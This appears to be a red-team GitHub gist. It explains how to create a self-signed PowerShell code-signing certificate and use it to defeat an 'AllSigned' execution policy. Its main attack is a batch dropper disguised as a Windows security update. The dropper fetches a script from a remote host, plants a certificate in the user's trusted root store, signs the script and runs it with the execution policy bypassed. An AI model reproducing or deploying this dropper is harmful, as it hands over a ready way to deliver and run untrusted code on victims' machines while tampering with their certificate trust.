-
-
Save r00t-3xp10it/88d4929fcded15fe22142426aa04a827 to your computer and use it in GitHub Desktop.
working-with-certs |
Create a Self-Signed Certificate for Code Signing
In PoweShell 3.0, the New-SelfSifgnedCertificate cmdlet was generating only SSL certificates that couldn’t be used to sign the driver and application code (unlike certificates generated by the MakeCert utility). In PowerShell 5 the new version of the New-SelfSifgnedCertificate
cmdlet can now be used to issue a Code Signing certificates.
Lets build our test script { my_posh_script.ps1 } - Open Notepad Copy/Paste/Save it
# Malicious Code to execute
write-host "Just to test IF certificate sign was worked.." -ForeGroundColor green -BackGroundColor black
Start-Sleep -Seconds 3
Lets set 'Target' PS Execution Policy to 'AllSigned' to test the script (no need admin rigths)
Set-ExecutionPolicy AllSigned -Scope CurrentUser
Lets Run our Script (With PS ExecutionPolicy set to 'AllSigned')
AllSigned = Requires that all scripts and configuration files are signed by a trusted publisher, including scripts written on the local computer.
To create a self-signed certificate for signing the application code (my_posh_script.ps1), run the command:
$cert = New-SelfSignedCertificate -Subject "My Code Signing Certificate” -Type CodeSigningCert -CertStoreLocation cert:\LocalMachine\My
Let’s try to sign our PowerShell script (my_posh_script.ps1) using this certificate:
Set-AuthenticodeSignature -FilePath $env:userprofile\Desktop\my_posh_script.ps1 -Certificate $cert
Remark: f you are receiving an 'UnknownError' warning when executing the command, this means that 'the certificate is not trusted'.
Because it is located in the 'user’s personal certificates store' -> (open certlm.msc snap-in [Windows+R -> certlm.msc
] to see it)
We need to move our certificate to the 'trusted root certificates' store
After that, you can sign your PowerShell script with this self-signed certificate.
Set-AuthenticodeSignature -FilePath $env:userprofile\Desktop\my_posh_script.ps1 -Certificate $cert
After the script beeing signed, it will be append one certificate {code block} inside the PS script:
Running the script with PS Execution-Policy set to 'AllSigned'
AllSigned. Requires that all scripts and configuration files are signed by a trusted publisher, including scripts written on the local computer.
Remark: After beeing signed, the PS script can not be changed under the risk of breaking cert code block
Remark: Remmenber that this certificate its only valid for the Local Machine (current PC) were it was been stored..
That meens if we port the PS script to a remote machine it will not execute, because remote machine does not contain
this certificate in there certificate store ...
Revert Target System to 'Default' Settings. (non admin privs requiered)
cmd /c echo Y | powershell Set-ExecutionPolicy Restricted -Scope CurrentUser
This next step shows us how this technic can be abused (PS Execution Policy bypass) to remote Download/Execute our PS Script, even if target system is config to Only run digitally Signed PS scripts .. It will download and execute him ..
Batch (dropper.bat) Automation Example:
@echo off
title Cumulative Security Update KB4524147
:: Code to Download our PS script to 'tmp' remote folder
powershell -C (New-Object Net.WebClient).DownloadFile('http://192.168.1.71/my_posh_script.ps1', '$env:tmp\my_posh_script.ps1')
timeout /T 2 >nul
:: Code to digitally sign Our Downloaded PS script (my_posh_script.ps1) { This certificate expires in six months }
powershell $cert = New-SelfSignedCertificate -Subject "My Code Signing Certificate” -FriendlyName "SsaRedTeam" -NotAfter (Get-Date).AddMonths(6) -Type CodeSigningCert -CertStoreLocation cert:\LocalMachine\My;Move-Item -Path $cert.PSPath -Destination "Cert:\CurrentUser\Root";Set-AuthenticodeSignature -FilePath $env:tmp\my_posh_script.ps1 -Certificate $cert
timeout /T 2 >nul
:: Code to Execute our Downloaded script
powershell -Execution Bypass -NoProfile -File "$env:tmp\my_posh_script.ps1"
Remark: This Dropper.bat can Download-PS-Script/Build-Cert/Sign-PS-Script/Execute-PS-Script because the Policy
its set by Default to powershell Scripts Only (this policy does not affects batch scripts from running and executing all of this)..
OP <3
To create a certificate, you have to specify the values of –DnsName (DNS name of a server, the name may be arbitrary and different from localhost name) and -CertStoreLocation (a local certificate store in which the generated certificate will be placed). You can use the cmdlet to create a self-signed certificate in Windows 10 (in our example), Windows 8/8.1 and Windows Server 2016/ 2012 R2 /2012
run the following command:
New-SelfSignedCertificate -DnsName SsaRedTeam.com -CertStoreLocation cert:\LocalMachine\My
( Windows+R -> certlm.msc ), 'make sure that a new certificate has appeared in the Personal section of the certificate storage'.
It can be copied from the results of New-SelfSignedCertificate command: